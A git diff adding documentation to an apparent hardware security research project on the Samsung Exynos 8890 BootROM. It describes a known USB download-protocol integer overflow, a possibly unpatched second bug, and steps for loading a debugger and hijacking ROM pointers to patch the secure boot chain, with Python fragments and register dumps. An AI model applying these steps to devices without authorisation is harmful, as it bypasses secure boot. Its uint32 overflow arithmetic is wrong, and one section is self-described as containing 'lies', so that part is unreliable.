Updating docs

.gitignore

@@ -4,3 +4,4 @@ dump/
 venv/
 reven/
 !dump/exynos-usbdl/
+!source/exploit/stage1/**

.gitlab-ci.yml

@@ -0,0 +1,26 @@
+variables:
+  http_proxy: http://outboundproxy.jubit2.minvenj.nl:8080
+  https_proxy: http://outboundproxy.jubit2.minvenj.nl:8080
+  no_proxy: git.eminjenv.nl
+
+image: python:3.8
+
+pages:
+  stage: deploy
+  script:
+    - apt update
+    - apt install -y xvfb
+    - mkdir .public
+    - python -m venv venv
+    - source venv/bin/activate
+    - pip install -r <(head -n -1 requirements.txt)
+    - cd documentation
+    - make html
+    - cd ..
+    - cp -r documentation/build/* .public
+    - mv .public public
+  artifacts:
+    paths:
+      - public
+  only:
+    - main

README.md

@@ -2,6 +2,8 @@
 Code to exploit and research the Exynos Bootrom.
 
 ## Setting up
+
+### Python module
 Create a venv, and intall ghidra_assistant.
 ```bash
 python3 -m venv venv
@@ -9,6 +11,16 @@ python3 -m venv venv
 pip install -r requirements.txts
 ```
 
-To get to work, run `source/exploit/exploit.py`
+### Building the debugger
+The debugger needs to be built using [gupje](https://git.herreweb.nl/EljakimHerrewijnen/Gupje). Move the contents of `source/gupje_device` to `Gupje/devices/samsung_s7`. Then proceed to build the debugger.
 
-To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml`.
+```bash
+mv source/gupje_device/* {your-gupje-root}/devices/samsung_s7
+cd {your-gupje-root}
+make -f devices/samsung_s7/Makefile
+```
+
+Then proceed to move the debugger to `dump/debugger.bin`. To get to work, run `source/exploit/exploit.py`. The launch.json's are located in source/exploit, so its recommended to open this folder in your VSCode/favourite IDE.
+
+### Viewing/building documentation
+To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml` in `documentation`.

documentation/source/BootROM_8890/01_start.rst

@@ -0,0 +1,45 @@
+==========
+Start/Home
+==========
+The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot runtime. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified.
+
+Useful links:
+- `DTSI files for exynos8890 <https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts>`_
+- `Frederic exynos-usbdl on Github <https://github.com/frederic/exynos-usbdl/tree/master>`_'
+- `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_
+
+Be sure to use the correct firmware and firmware version for your S7 when trying this exploit/Frederic's recovery boot (otherwise the booting will likely fail after sending BL31)!  
+
+Protections
+-----------
+There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place. There is however an SMC and a MMU. The SMC is used to communicate with the secure world, and the MMU is used to map the memory.
+
+Rom is at address 0x0 and is unwritable (Sometimes this is writeable due to MMU caching) and is 0x20000 bytes long. 
+
+Samsung Firmware
+----------------
+Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files. To see how the ROM works we are interested in the sboot firmware, which contains multiple stages of the bootloader.
+
+These files can then be used to boot the device into USB recovery. To extract the sboot.bin file from a samsung firmware file:
+
+.. code-block:: bash
+
+   $ unzip -p firmware.zip 'BL_*.tar.md5' | tar -Oxf - 'sboot.bin.lz4' | lz4 -d - sboot.bin
+
+For additional bootloaders, see: `Github exynos8890-exynos-usbdl-recovery <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_
+
+Memory Layout
+-------------
+The memory layout of the Exynos 8890 is as follows:
+
+.. raw:: html
+
+   <iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
+
+Download protocol
+-----------------
+When the ROM is unable to boot from the internal storage, it enters ``Exynos Recovery Mode``. 
+
+In this mode the bootROM accepts data over USB. There is little functionality other than receiving data, meaning almost no additional attack surface except for the download protocol.
+
+The Exynos BootROM uses a custom protocol to download a bootable image over USB. This image is verified and executed by the BootROM. Unauthorized images are rejected. Initial authorisation is done using the '_auth_bl1' function. Frederic has exploited a vulnerability in the download protocol to load Unauthorized images.

documentation/source/BootROM_8890/02_frederics_exploit.rst

@@ -0,0 +1,151 @@
+==================
+Frederic's Exploit
+==================
+Frederic published a blogpost on reversing the `USB stack of the Exynos BootROM <https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html#reverse-engineer-usb-stack-of-exynos-bootrom>`_ and a blogpost on exploiting the `Exynos 8890 BootROM <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_. Here we will discuss the exploit in more detail.
+
+USB Stack in BootROM
+--------------------
+The bootRom is the first code that runs on the Exynos SoC. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified (making vulnerabilities in this permanent/non-patcheable). The BootROM is responsible for initializing the USB controller and receiving the first stage bootloader from the USB host. It will be waiting for a package in the following format (dldata == download data):
+
+dldata
+^^^^^^
+A key For uploading a stage to boot, a custom protocol is used. The dldata that has to be send is 512 bytes long, and has the following format:
+
+.. figure:: images/dl_packet.drawio.svg
+   :align: center
+
+   The dldata packet is used to send data to the BootROM.
+
+The size in the packet is the total size of the packet, including header and footer. If we modify this, we will have a payload size of around 502 bytes.
+
+.. caution:: 
+
+    This protocol remains *mostly* the same for newer Exynos SoCs. 
+
+USB Controller / DWC3
+^^^^^^^^^^^^^^^^^^^^^
+The Exynos 8890 uses the Synopsys DesignWare USB 3.0 controller. Much of the code is shared with the DWC3 driver in the Linux kernel, except that the ROM does not do any scheduling and a lot of features have been removed(OTG handling, etc).
+
+The base address of the usb controller (dwusb3) is mapped at 0x1540000, with a size of 0x10000: (can be found at: `Exynos8890 dtsi <https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts>`_). 
+
+.. code-block:: dts
+
+	udc: usb@15400000 {
+		compatible = "samsung,exynos8890-dwusb3";
+		clocks = <&clock 700>, <&clock 703>, <&clock 708>, <&clock 709>;
+		clock-names = "aclk", "sclk", "phyclock", "pipe_pclk";
+		reg = <0x0 0x15400000 0x10000>;
+		#address-cells = <2>;
+		#size-cells = <1>;
+		ranges;
+		usb-pm-qos-int = <255000>;
+		status = "disabled";
+
+		usbdrd_dwc3: dwc3 {
+			compatible = "synopsys,dwc3";
+			reg = <0x0 0x15400000 0x10000>;
+			interrupts = <0 213 0>;
+			phys = <&usbdrd_phy0 0>, <&usbdrd_phy0 1>;
+			phy-names = "usb2-phy", "usb3-phy";
+		};
+	};c
+
+This is a basic USB controller, but some functions, that are also present in the linux kernel, should be visible in the bootROM as well. Available functions could be: `linux-kernel-dwc3 <https://android.googlesource.com/kernel/msm/+/android-msm-dory-3.10-kitkat-wear/drivers/usb/dwc3/core.h>`_.
+
+The USB host sends a USB_REQ_SET_ADDRESS, `'0x05' <https://asf.microchip.com/docs/latest/common.services.usb.class.composite.device.example.hidms_msc.saml21_xplained_pro/html/group__usb__protocol__group.html>`_, which the connected device has to acknowledge, and will then start sending data to this address. Initially, the device will send data to '0x00'.
+
+.. code:: c
+
+	usb_reqid {
+		USB_REQ_GET_STATUS = 0,
+		USB_REQ_CLEAR_FEATURE = 1,
+		USB_REQ_SET_FEATURE = 3,
+		USB_REQ_SET_ADDRESS = 5,
+		USB_REQ_GET_DESCRIPTOR = 6,
+		USB_REQ_SET_DESCRIPTOR = 7,
+		USB_REQ_GET_CONFIGURATION = 8,
+		USB_REQ_SET_CONFIGURATION = 9,
+		USB_REQ_GET_INTERFACE = 10,
+		USB_REQ_SET_INTERFACE = 11,
+		USB_REQ_SYNCH_FRAME = 12
+		}
+
+Ghidra shows `DWC3_DCFG & 0xfffffc00 | DWC3_DCFG & 7 | (param_1 & 0x7f) << 3;`, essentially preserves bits 0-2 and 10-31, and sets bits 3-9 to the value of param_1, which is then likely the address of the device.  
+
+.. figure:: images/ghidra_dwc3_dcfg_devaddr.png
+	:align: center
+
+    bootrom exynos 8890 dwc3_dcfg_devaddr
+
+Other general device descriptors are also sent from the device to the host (to describe the device), these are visible in/at 'usb_init_device_descriptor' (6098) and usb_init_descriptors (610c). Two end point addresses are visible: bEndpointAddress 0x81 and 0x02. 0x81 is 10000001 in binary, with bit 7 being '1', which means that the bulk transfer direction is IN. 0x02 is 00000010 in binary, with bit '7' being '0', which means that the bulk transfer direction is OUT. 
+
+Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
+
+Bug 1 (Integer overflow)
+========================
+Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_. Our if-statement is written a bit different, but boils down to the same thing.
+
+The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written. 
+
+.. figure:: images/usb_setup_ready_to_0.png
+	:align: center
+
+	The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
+
+.. figure:: images/dl_data_struct.png
+	:align: center
+
+	The dldata struct in the Exynos 8890 BootROM
+
+.. code:: c
+
+	if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
+      *(undefined *)&pdVar1->ready = 2;
+    }
+
+In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
+1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), 
+2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`). 
+
+If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff. 
+
+The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded. 
+
+.. figure:: images/usb_payload_size_check.jpeg
+	:align: center
+
+	The size check in the Exynos 8890 BootROM
+
+Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00. 
+
+.. figure:: images/max_allowed_chunck_size.jpeg
+	:align: center
+
+	The max allowed chunk size, after which the payload is split.
+
+The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data. 
+
+The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
+
+.. code:: c
+
+	typedef struct dldata_s {
+		u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
+		u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
+		u_int8_t  data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
+		u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
+	} dldata;
+
+Bug 2
+=====
+
+.. caution::
+
+   Might be a 0/N-day if exploitable
+
+There is a bug(unpatched?) in receiving the last packet of the usb image:
+
+.. figure:: images/underflow_bug.png
+
+    The bug is an integer underflow in the calculation of the remaining size of the image. 
+

documentation/source/BootROM_8890/03_exploit_boot_chain.rst

@@ -0,0 +1,311 @@
+==================
+Exploit boot chain
+==================
+This part describes the boot chain of the ``Exynos 8890`` SoC. 
+
+.. important::
+
+    This is all still under development and will change.
+
+Memory overview
+---------------
+Keep this overview in mind when reading through the boot chain exploit. 
+
+.. raw:: html
+
+   <iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
+
+Exploitation
+------------
+After exploitation the goal is to fully boot the device. We're trying to use Frederic's exploit to load a debugger and then boot the device. The debugger needs to be kept 'alive' through the boot chain, so we can patch the boot chain at the right time. In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.
+
+.. topic:: gupje
+
+    Gupje is the debugger we'll be loading onto the device and will be replacing throughout the bootchain.
+
+Loading the debugger
+^^^^^^^^^^^^^^^^^^^^
+The debugger is based on `Gupje <https://git.eminjenv.nl/nfi-exploitdev/gupje>`_.
+
+TODO
+
+Boot stages/payloads
+--------------------
+Get the correct payloads for the bootROM stages from samsung firmware files, or from `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_.
+
+.. list-table:: bootrom stages
+	:header-rows: 1
+
+	* - File
+	  - Strings output
+	  - Likely boot stage?
+	* - sboot.bin.1.bin
+	  - Exynos BL1
+	  - BL1
+	* - sboot.bin.2.bin
+	  - BL31 %s
+	  - BL31
+	* - sboot.bin.3.bin
+	  - Unsure. Contains strings like: TOP_DIV_ACLK_MFC_600 and APOLLO_DIV_APOLLO_RUN_MONITOR
+	  - BL2?
+	* - sboot.bin.4.bin
+	  - Contains more textual information, and references to post BL2 boot, and android information
+	  - Kernel boot/BL33?
+
+Stage0/entry
+============
+After loading the stage0 (entry.S - Frederic's exploit), we're allowed to send custom payloads to the device. The first payload that is then sent, is the debugger.
+
+TODO
+
+Initial debugger
+================
+Debugger
+--------
+The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively.
+
+After the initial loading of the debugger, the processor state reported is (using ghidra assistant):
+
+.. code-block:: bash
+    
+    root | DEBUG | 
+                X0 : 0x0 | X1 : 0xffffffff | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
+                X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
+                X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
+                X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
+                X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20219b8 | SP/X31 : 0x2020ef0
+
+LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off). 
+
+After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to ``0x20c0000``, with _stack and _storage now at ``0x20c2000`` and ``0x20c4000`` respectively. This is done by running:
+
+.. code-block:: python 
+
+    self.cd.arch_dbg.state.auto_sync = False
+    self.cd.arch_dbg.state.auto_sync_special = False
+    self.cd.arch_dbg.state.print_ctx()
+    
+    def relocate_debugger():
+        # Seems to be cleared upon cache clearing??
+        debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
+        self.cd.memwrite_region(0x020c0000, debugger_reloc)
+        self.usb_write(b"FLSH") # Flush cache
+        self.cd.restore_stack_and_jump(0x020c0000)
+        assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
+        self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
+    relocate_debugger()
+
+The processor state reported then is:
+
+.. code-block:: bash
+
+  root | DEBUG | 
+            X0 : 0x0 | X1 : 0x1 | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
+            X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
+            X14 : 0xf | X15 : 0x20c4000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
+            X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
+            X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0
+
+Stage1/BL1
+==========
+The first stage is downloading BL1, authenticating it and patching it after authentication. This is done by overwriting the USB return address pointer and jumping back to the debugger. In the debugger we can authenticate BL1, patch it and boot it. An overview of this process is shown below:
+
+Booting an authenticated and patched BL1:
+
+.. figure:: images/boot_chain_bl1.drawio.svg
+   :align: center
+
+   Boot chain
+
+.. note::
+
+    git commit 8cb5f2e1 fully boots, you can use this commit to patch bl1 only.
+
+Stage2/BL31
+===========
+Next up is BL31, which is loaded by BL1. BL31 is written at ``0x02024000`` with the entry point at ``0x02024010``, it ends at ``0x02048000``. ``BL31`` is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction.
+
+.. figure:: images/bl31_debugger_memory_example.png
+   :align: center
+
+   Example of BL31 using debugger memory.
+
+BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?).
+
+It would be nice to patch BL31 before it is being executed. However the current exploit boot flow does not allow this because the ROM function downloads the next stage. 
+
+Initial boot function (BL1)
+---------------------------
+
+.. figure:: images/initial_boot_function.png
+    :align: center
+
+    Overview of the initial boot function in the exynos 8890
+
+.. caution::
+
+    This part needs to be rewritten (contains lies)
+
+BL1 needs to be authenticated. BL31 loads at address ``0x02022000`` and contains some form of header (ramdump). There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. In this case this entry is ``+0x10`` so we jump to ``0x02024010``. Authentication seems to be done at ``0x00012848``. Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change.
+
+.. code-block:: python
+
+    # Try loading bl1
+    bl1 = open("../S7/bl1.bin", "rb").read()
+    self.cd.memwrite_region(0x02021800, bl1)
+    # self.usb_write(b"FLSH")
+    AUTH_BL1 = 0x00012848
+    def auth_bl1(lr=0x2069000):
+        # Load the firmware
+        self.cd.arch_dbg.state.W0 = 1
+        self.cd.arch_dbg.state.X1 = 1
+        self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
+        self.cd.restore_stack_and_jump(AUTH_BL1)
+        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
+        assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
+        
+    auth_bl1(0x020c0000)
+
+.. figure:: images/bl1_auth_references.png
+    :align: center
+
+    BL1 authentication
+
+At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.
+
+If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at:
+
+.. figure:: images/bl1_auth_follow-up_1230c.png
+    :align: center
+
+    BL1 authentication
+
+After authentication the bootROM jumps to this function at, we can execute this function with the debugger.
+
+.. code-block:: python
+
+    self.cd.memwrite_region(0x02020f60, p32(0x020c0000)) 
+        BOOT_BL1 = 0x00019310
+        def jump_bl1(lr):
+            self.cd.arch_dbg.state.LR = lr
+            self.cd.restore_stack_and_jump(BOOT_BL1)
+        
+        jump_bl1(0x020c0000)
+
+    jump_fwbl1()
+
+BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
+
+However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader). 
+
+By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
+
+.. code:: python
+        auth_bl1(DEBUGGER_ADDR)
+        self.usb_write(b"FLSH") # Flush cache
+        hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) 
+        
+        # BL1 patches
+        self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
+        self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
+
+Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
+
+.. figure:: images/bl1_auth_references.png
+   :align: center
+
+   BL1 authentication. 
+
+purpose
+^^^^^^^
+bl1 interacts with several pheriperals, from the DTB these are:
+
+.. code-block:: bash
+
+    /* FSYS0 */
+	pinctrl_5: pinctrl@10E60000 {
+		compatible = "samsung,exynos8890-pinctrl";
+		reg = <0x0 0x10E60000 0x1000>;
+		interrupts = <0 212 0>;
+	};
+
+	/* FSYS1 */
+	pinctrl_6: pinctrl@15690000 {
+		compatible = "samsung,exynos8890-pinctrl";
+		reg = <0x0 0x15690000 0x1000>;
+		interrupts = <0 202 0>;
+	};
+
+    /* PERIC1 */
+	pinctrl_9: pinctrl@14CC0000 {
+		compatible = "samsung,exynos8890-pinctrl";
+		reg = <0x0 0x14CC0000 0x1000>;
+		interrupts = <0 460 0>;
+	};
+
+    pmu_system_controller: system-controller@105C0000 {
+		compatible = "samsung,exynos8890-pmu", "syscon";
+		reg = <0x0 0x105C0000 0x10000>;
+	};
+
+    rtc@10070000 {
+		compatible = "samsung,s3c6410-rtc";
+		reg = <0x0 0x10070000 0x100>;
+		interrupts = <0 73 0>, <0 74 0>;
+		clocks = <&clock 157>;
+		clock-names = "gate_rtc";
+	};
+
+Probably the only thing it does is set some clocks and prepare for BL31.
+
+OLD
+---
+
+The reason for this is the following code in bl1:
+
+.. code-block:: c
+
+    iVar3 = FUN_02024320();
+    if (iVar3 == 1) {
+        (*(code *)(ulong)uRam0000000002020108)(0,1);
+    }
+    
+This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done. 
+This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
+
+.. code-block:: c
+
+                             DAT_02020108                                    XREF[2]:     FUN_00001708:000018b4(W), 
+                                                                                          FUN_02021970:02021a40(R)  
+        02020108 90 57 00 00     undefined4 00005790h
+
+Replacing this function with our debugger makes us jump back:
+
+.. code-block:: python
+
+    # Overwrite jump back
+        self.cd.memwrite_region(0x02020108, p32(0x2069000))
+        self.cd.memwrite_region(0x020200e8, p32(0x2069000))
+            
+        def jump_bl1():
+            self.cd.arch_dbg.state.LR = 0x2069000
+            self.cd.restore_stack_and_jump(0x02024010)
+            # self.cd.restore_stack_and_jump(0x02021810)
+            
+        bl1 = open("../S7/bl1.bin", "rb").read()
+        self.cd.memwrite_region(0x02024000, bl1)
+        self.usb_write(b"FLSH")
+        
+        # auth_bl1()
+        jump_bl1()
+        assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
+        self.cd.arch_dbg.state.print_ctx()
+
+        root | DEBUG | 
+            X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
+            X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
+            X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
+            X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
+            X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
+
+However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.

documentation/source/BootROM_8890/04_notes.rst

@@ -0,0 +1,39 @@
+=====
+Notes
+=====
+General notes on interesting/peculiar things found on the S7 USB recovery boot process
+
+Emulator
+--------
+What is interesting about the ROM is that it starts by checking MPIDR_EL1 register and doing a conditional branch to 0x20e0000. 
+
+.. code-block:: bash
+
+             undefined         w0:1           <RETURN>
+                             Reset                                           XREF[1]:     Entry Point(*)  
+        00000000 bb 00 38 d5     mrs        x27,mpidr_el1
+        00000004 7b 0f 78 92     and        x27,x27,#0xf00
+        00000008 7f 03 00 f1     cmp        x27,#0x0
+        0000000c 41 00 00 54     b.ne       LAB_00000014
+        00000010 fc 7f 83 14     b          LAB_020e0000
+
+Week 35 - 2024
+--------------
+After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible.
+
+Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes).
+
+Also space at 0x020307f0
+
+.. code-block:: python
+
+        self.cd.memdump_region(0x105c2400, 0x40).hex()
+        '0f0f00000f0008002100000000000000ffffffffffffffffffffffffffffffff0f0f00000f0008002101000000000000ffffffffffffffffffffffffffffffff'
+
+Week 36 - 2024
+--------------
+Interesting links:
+- `Heap overflow <https://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow.html>`_
+- `UART on S8 <https://grimler.se/posts/exynos-uart/>`_
+
+By accident found space at 0x11207010. Seems to be a memory read/write space. Not executable however, unless the MMU is turned off. 

documentation/source/BootROM_8890/boot_chain.rst

@@ -4,9 +4,13 @@ Booting
 =======
 This part describes the boot chain of the ``Exynos 8890`` SoC. 
 
-Booting Protocol
-================
-TODO document normal samsung boot chain
+Memory overview
+===============
+
+.. raw:: html
+
+   <iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
+
 
 Exploitation
 ============
@@ -17,8 +21,6 @@ After exploitation the goal is to fully boot the device. The following part desc
 
     This is under development and will still change.
 
-BL1
----
 The first stage is downloading BL1, authenticating it and patching it after authentication. 
 This is done by overwriting the USB return address pointer and jumping back to the debugger.
 In the debugger we can authenticate BL1, patch it and boot it. An overview of this process is shown below:
@@ -36,8 +38,6 @@ Booting an authenticated and patched BL1:
 
 Next up is BL31, which is loaded by BL1.
 
-BL31
-----
 ``BL31`` is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction.
 
 .. figure:: images/bl31_debugger_memory_example.png
@@ -45,14 +45,12 @@ BL31
 
    Example of BL31 using debugger memory.
 
-BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage.
+BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?).
 
 It would be nice to patch BL31 before it is being executed. However the current exploit boot flow does not allow this because the ROM function downloads the next stage. 
 
-
 Notes
 -----
-
 As done by Frederic, the bootrom can be dumped using his provided scripts, and can the be split into different boots:
 
 .. code-block:: bash
@@ -83,9 +81,8 @@ This results in the following files:
 
 After loading the stage1 (entry.S - Frederic's exploit), we're allowed to send custom payloads to the device. The first payload that is then sent, is the debugger.
 
-debugger
+Debugger
 --------
-
 The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively.
 
 After the initial loading of the debugger, the processor state reported is (using ghidra assistant):
@@ -130,8 +127,8 @@ The processor state reported then is:
             X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
             X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0
 
-bl1
----
+Initial boot function (BL1)
+---------------------
 
 .. figure:: images/initial_boot_function.png
     :align: center
@@ -186,13 +183,81 @@ After authentication the bootROM jumps to this function at, we can execute this
 
     jump_fwbl1()
 
-BL1 is laoded at the download buffer and self copies to ``0x02024000`` and resumes execution there (``0x02024010``).
+BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
 
 However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader). 
 
-By adding the IMEM to ghidra, we can have a look at what is going here. (How is this done in Ghidra?). We seem to lose control of our debugger once we step into the `some_weird_brom_function`. 
+By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
+
+.. code:: python
+        auth_bl1(DEBUGGER_ADDR)
+        self.usb_write(b"FLSH") # Flush cache
+        hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) 
+        
+        # BL1 patches
+        self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
+        self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
+
+Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
+
+.. figure:: images/bl1_auth_references.png
+   :align: center
+
+   BL1 authentication. 
+
+purpose
+^^^^^^^
+bl1 interacts with several pheriperals, from the DTB these are:
+
